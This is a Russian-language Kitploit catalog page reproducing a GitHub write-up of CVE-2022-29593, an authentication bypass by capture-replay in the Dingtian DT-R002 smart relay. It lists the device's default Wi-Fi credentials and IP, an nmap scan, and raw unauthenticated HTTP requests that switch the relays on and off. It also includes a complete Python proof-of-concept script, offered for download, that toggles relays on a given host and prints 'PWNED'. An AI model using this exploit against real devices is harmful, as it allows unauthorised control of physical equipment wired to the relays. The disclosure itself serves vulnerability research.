Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-29593 — Эксплойт Proof-of-concept для обхода аутентификации через захват и повторное воспроизведение в реле Dingtian DT-R002, позволяющий несанкционированное управление реле через HTTP и Modbus TCP. | Kitploit
Инструменты/GitHubGitHub/9lyph/cve-2022-29593
Сниффинг и анализ пакетовРазведкаБезопасность IoTАнализ уязвимостейЭксплуатацияБезопасность SCADA/ICSЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеБезопасность оборудования и IoTАутентификация
83161 год назадЕщё не проверено
GitHub9lyph/cve-2022-29593

CVE-2022-29593

Эксплойт Proof-of-concept для обхода аутентификации через захват и повторное воспроизведение в реле Dingtian DT-R002, позволяющий несанкционированное управление реле через HTTP и Modbus TCP.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-29593 - Обход аутентификации путем повторного захвата (Dingtian-DT-R002)

Название

dingtian

Обход аутентификации путем повторного захвата Опубликовано: Версия: 1.0 Производитель: Shenzhen Dingtian Technologies Co.,Ltd Продукт: 2-канальная релейная плата/карта реле Затронутая версия: прошивка V3.1.276A

Продукт - Dingtian DTR004

Ссылка на Ali Express

Описание продукта

  • 2-канальная релейная плата/карта реле
  • Поддержка WiFi/RS485/Ethernet

Технические характеристики

Обзор

Поддержка многоканального реле, вкл/выкл/задержка/импульс
Поддержка нескольких интерфейсов RJ45/RS485/CAN/WIFI
Управление локальными кнопками
Настройка и управление через ПК-приложение
Веб-настройка и управление
Буфер команд FIFO на 8 КБ
Поддержка пароля.
Поддержка WIFI smart config
Управление кнопками
MQTT/Modbus/CoAP

Технические параметры

Интерфейс RJ45/RS485/CAN/WIFI
Скорость передачи 100M/115200bps/125kbps/150Mbps
Протокол TCP server/client,UDP server/client,RS485,CAN,WIFI
Рабочая температура -10~+75°C
Температура хранения -40~+125°C
Относительная влажность 5~95% без конденсата
Питание 9-40V без полярности
Ток 1A@12V DC
Потребляемая мощность <5W

Параметры реле

Мощность реле AC 250V/10A,DC 30V/10A
Задержка 1~65535 секунд
Импульс Включение на 0,5 секунды, автоматическое отключение

Питание без полярности

DC 9~40V без полярности

Ссылки

  • MITRE

  • Exploit-db

Производитель

  • Основанная в 2019 году, Dingtian является производителем устройств IoT и систем контроля доступа. Эффективные и стабильные продукты, а также быстрая доставка — наш кодекс поведения.

Исследование

  • Включено питание (12VDC @ 1A макс.)

>

  • Сканирование сети
  • Стандартный Wi-Fi (SSID): dtrelay7685 (Серийный номер — последние четыре цифры)
    • Где найти серийный номер?
  • Стандартный PSK (PSK): dtpassword
  • Стандартный IP: 192.168.7.1
nmap -p- --open -Pn 192.168.7.1
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http 
502/tcp open  mbap 

HTTP-доступ

  • Доступ по HTTP позволяет управлять устройством при подключении к стандартному SSID

>

Находка

Обход аутентификации путем повторного захвата

  • Реле Dingtian (Dingtian DT-R002) 2CH с прошивкой V3.1.276A позволяет злоумышленнику повторять те же или похожие данные. Это позволяет злоумышленнику управлять устройствами, подключенными к реле, без необходимости аутентификации.
  • Было обнаружено, что реле устройства можно контролировать (включать и выключать) с помощью неаутентифицированных HTTP-запросов.

Доказательства показывают HTTP-запрос и ответ, используемые для включения и выключения реле.

Включение

Запрос
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Ответ
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&1&0&

Выключение

Запрос
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009

Ответ
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11

&0&0&0&0&0&

Слабость/уязвимость

  • CWE-294 - Обход аутентификации путем повторного захвата

Известные затронутые конфигурации ПО

  • V3.1.276A (Прошивка)

PoC-код

#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Description: DingTian DT-R002 2CH Smart Relay                                      |")
    print ("|   Usage : "+sys.argv[0]+" <host> <relay#>                                           |")   
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    urlRelay1On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
    urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
    urlRelay2On  = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
    urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"

    headers = {
        "Host": ""+host+"",
        "User-Agent": "9lyph/3.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Connection": "close",
        "Referer": "http://"+host+"/relay_cgi.html",
        "Cookie": "session=4463009"
    }

    print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
    for i in range(5):
        time.sleep (1)
        print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
    try:
        if (relay == "1"):
            print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay1On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
            r = requests.get(urlRelay1Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        elif (relay == "2"):
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2On)
            time.sleep (5)
            print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
            r = requests.get(urlRelay2Off)
            print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
        else:
            print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
    except KeyboardInterrupt:
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)
    except Exception as e:
        print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
Скачать инструмент